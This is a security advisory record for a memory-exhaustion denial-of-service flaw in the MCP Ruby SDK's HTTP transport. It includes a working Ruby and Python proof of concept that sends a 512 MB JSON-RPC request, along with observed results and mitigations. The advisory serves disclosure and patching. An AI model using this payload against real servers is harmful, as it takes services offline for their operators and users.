{"id":"GHSA-h669-8m4g-r2hc","summary":"MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport","details":"## Summary\n\nAn unauthenticated remote attacker can force any MCP Ruby SDK server using `MCP::Server::Transports::StreamableHTTPTransport` to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby `String` and parses it with `JSON.parse(body, symbolize_names: true)` with no size limit, no `Content-Length` pre-check, and no streaming parser, allowing trivial denial of service against the worker process.\n\n## Affected component\n\n`lib/mcp/server/transports/streamable_http_transport.rb`, method `handle_post`:\n\n- Line 341: `body_string = request.body.read` — reads the full HTTP body into memory with no upper bound.\n- Lines 531–535: `JSON.parse(body_string, symbolize_names: true)` — fully materialises the parsed object graph; with `symbolize_names: true` every JSON key also allocates a Ruby symbol.\n\nThe vulnerable path runs **before** session validation, so it is reachable in both the default stateful mode and in `stateless: true` mode, without an `Mcp-Session-Id` header and without any prior authentication.\n\nA second instance of the same root cause exists in `lib/mcp/server/transports/stdio_transport.rb:23` (`$stdin.gets` with no `limit:` argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.\n\n## Proof of concept\n\nBoth files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (`rack ~\u003e 3.2`, `rackup \u003e= 2.1.0`, `webrick ~\u003e 1.9`) and Python's standard library.\n\n### Server (`oom_poc_server.rb`)\n\n```ruby\nrequire \"bundler/setup\"\nrequire \"mcp\"\nrequire \"mcp/server/transports/streamable_http_transport\"\nrequire \"rackup\"\nrequire \"webrick\"\nrequire \"rackup/handler/webrick\"\n\nserver = MCP::Server.new(name: \"oom-poc-target\", tools: [])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(\n  server, stateless: true, enable_json_response: true,\n)\n\nThread.new do\n  loop do\n    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024\n    STDERR.puts(\"[mem] PID=#{Process.pid} RSS=#{rss_mb} MB\")\n    sleep 2\n  end\nend\n\nSTDERR.puts(\"[poc] listening on http://127.0.0.1:9293/\")\nRackup::Handler::WEBrick.run(\n  transport,\n  Host: \"127.0.0.1\", Port: 9293,\n  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),\n)\n```\n\n### Client (`oom_poc_client.py`)\n\n```python\nimport socket\n\nHOST, PORT, PAYLOAD_MB = \"127.0.0.1\", 9293, 512\n\ninner = b\"A\" * (PAYLOAD_MB * 1024 * 1024 - 64)\nbody  = b'{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"x\":\"' + inner + b'\"}}'\n\nheaders = (\n    f\"POST / HTTP/1.1\\r\\nHost: {HOST}:{PORT}\\r\\n\"\n    f\"Content-Type: application/json\\r\\n\"\n    f\"Accept: application/json, text/event-stream\\r\\n\"\n    f\"Content-Length: {len(body)}\\r\\nConnection: close\\r\\n\\r\\n\"\n).encode()\n\ns = socket.create_connection((HOST, PORT), timeout=120)\ns.sendall(headers)\nfor i in range(0, len(body), 1 \u003c\u003c 20):\n    s.sendall(body[i:i + (1 \u003c\u003c 20)])\nprint(f\"sent {PAYLOAD_MB} MB\")\ntry:\n    print(\"recv:\", s.recv(2048)[:200])\nexcept OSError as e:\n    print(\"server unresponsive:\", e)\n```\n\n### Reproduction commands\n\n```sh\nbundle install\nruby oom_poc_server.rb              # terminal A\npython3 oom_poc_client.py           # terminal B\n```\n\n### Observed result\n\nTested on macOS, Ruby 3.2.4 (rbenv), against the SDK's `main` branch with `rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2`:\n\n```\n[mem] PID=61394 RSS=44   MB        # idle baseline\n[mem] PID=61394 RSS=44   MB\n[mem] PID=61394 RSS=44   MB\n[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST\n[mem] PID=61394 RSS=1663 MB        # memory not released\n[mem] PID=61394 RSS=1663 MB\n```\n\nA single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.\n\n\u003cimg width=\"1588\" height=\"836\" alt=\"poc1-1\" src=\"https://github.com/user-attachments/assets/13522d05-b7fa-4c05-ba65-ce8ff7d66d4f\" /\u003e\n\n\u003cimg width=\"1400\" height=\"948\" alt=\"poc1-2\" src=\"https://github.com/user-attachments/assets/b230bf85-bed9-46ca-91cf-53ffd10306a6\" /\u003e\n\n\n\n## Impact\n\n- **Attacker requirements:** none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.\n- **Effect:** memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.\n- **Affected deployments:** every server mounting `MCP::Server::Transports::StreamableHTTPTransport` as a Rack app — the canonical HTTP deployment pattern. Both stateful and `stateless: true` configurations are affected.\n\n## Suggested mitigation\n\n1. Reject requests whose `Content-Length` (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling `request.body.read`.\n2. Use a streaming JSON parser, or pass `max_nesting:` plus a hard byte cap to `JSON.parse`.\n3. Apply the same `limit:` argument to `$stdin.gets` in `StdioTransport` for defence in depth.","aliases":["CVE-2026-67432"],"modified":"2026-07-30T15:00:31.539613886Z","published":"2026-07-30T14:44:06Z","database_specific":{"nvd_published_at":"2026-07-29T20:17:12Z","cwe_ids":["CWE-770"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-07-30T14:44:06Z"},"references":[{"type":"WEB","url":"https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-h669-8m4g-r2hc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67432"},{"type":"WEB","url":"https://github.com/modelcontextprotocol/ruby-sdk/commit/772e0cb1f9db69312006926eee59a7287ad50166"},{"type":"PACKAGE","url":"https://github.com/modelcontextprotocol/ruby-sdk"},{"type":"WEB","url":"https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"}],"affected":[{"package":{"name":"mcp","ecosystem":"RubyGems","purl":"pkg:gem/mcp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.23.0"}]}],"versions":["0.1.0","0.10.0","0.11.0","0.12.0","0.13.0","0.14.0","0.15.0","0.16.0","0.17.0","0.18.0","0.19.0","0.2.0","0.20.0","0.21.0","0.22.0","0.3.0","0.4.0","0.5.0","0.6.0","0.7.0","0.7.1","0.8.0","0.9.0","0.9.1","0.9.2"],"database_specific":{"last_known_affected_version_range":"\u003c= 0.22.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-h669-8m4g-r2hc/GHSA-h669-8m4g-r2hc.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}